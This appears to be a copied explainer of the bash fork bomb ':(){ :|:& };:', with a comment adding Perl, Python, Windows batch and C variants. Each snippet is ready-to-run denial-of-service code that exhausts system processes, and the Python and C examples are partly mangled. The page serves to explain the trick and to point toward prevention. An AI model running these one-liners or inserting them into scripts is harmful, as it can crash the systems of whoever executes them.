bash bomb

:(){ :|:& };:


 Source:http://www.cyberciti.biz/faq/understanding-bash-fork-bomb/

Understanding :(){ :|:& };: fork() bomb code

:() - It is a function name. It accepts no arguments at all. Generally, bash function is defined as follows:

foo(){
 arg1=$1
 echo ''
 #do_something on $arg argument
}

fork() bomb is defined as follows:

:(){
 :|:&
};:

:|: - Next it call itself using programming technique called recursion and pipes the output to another call of the function ':'. The worst part is function get called two times to bomb your system.
& - Puts the function call in the background so child cannot die at all and start eating system resources.
; - Terminate the function definition
: - Call (run) the function aka set the fork() bomb.
Here is more human readable code:

bomb() {
 bomb | bomb &
}; bomb

Properly configured Linux / UNIX box should not go down when fork() bomb sets off.
Related: How to: Prevent a fork bomb by limiting user process under Linux.


l33t November 28, 2007
Perl exmaple:

perl -e "fork while fork" &

Python example:

import os
  while(1):
      os.fork()

Windows XP / Vista bat file example:

:bomb
start %0
goto bomb

UNIX style for Windows:

%0|%0

C program example:

#include
 int main() {   while(1)      fork();  } 

Plz note that the fork bomb is a form of denial of service, so don’t run on production or unauthorized system.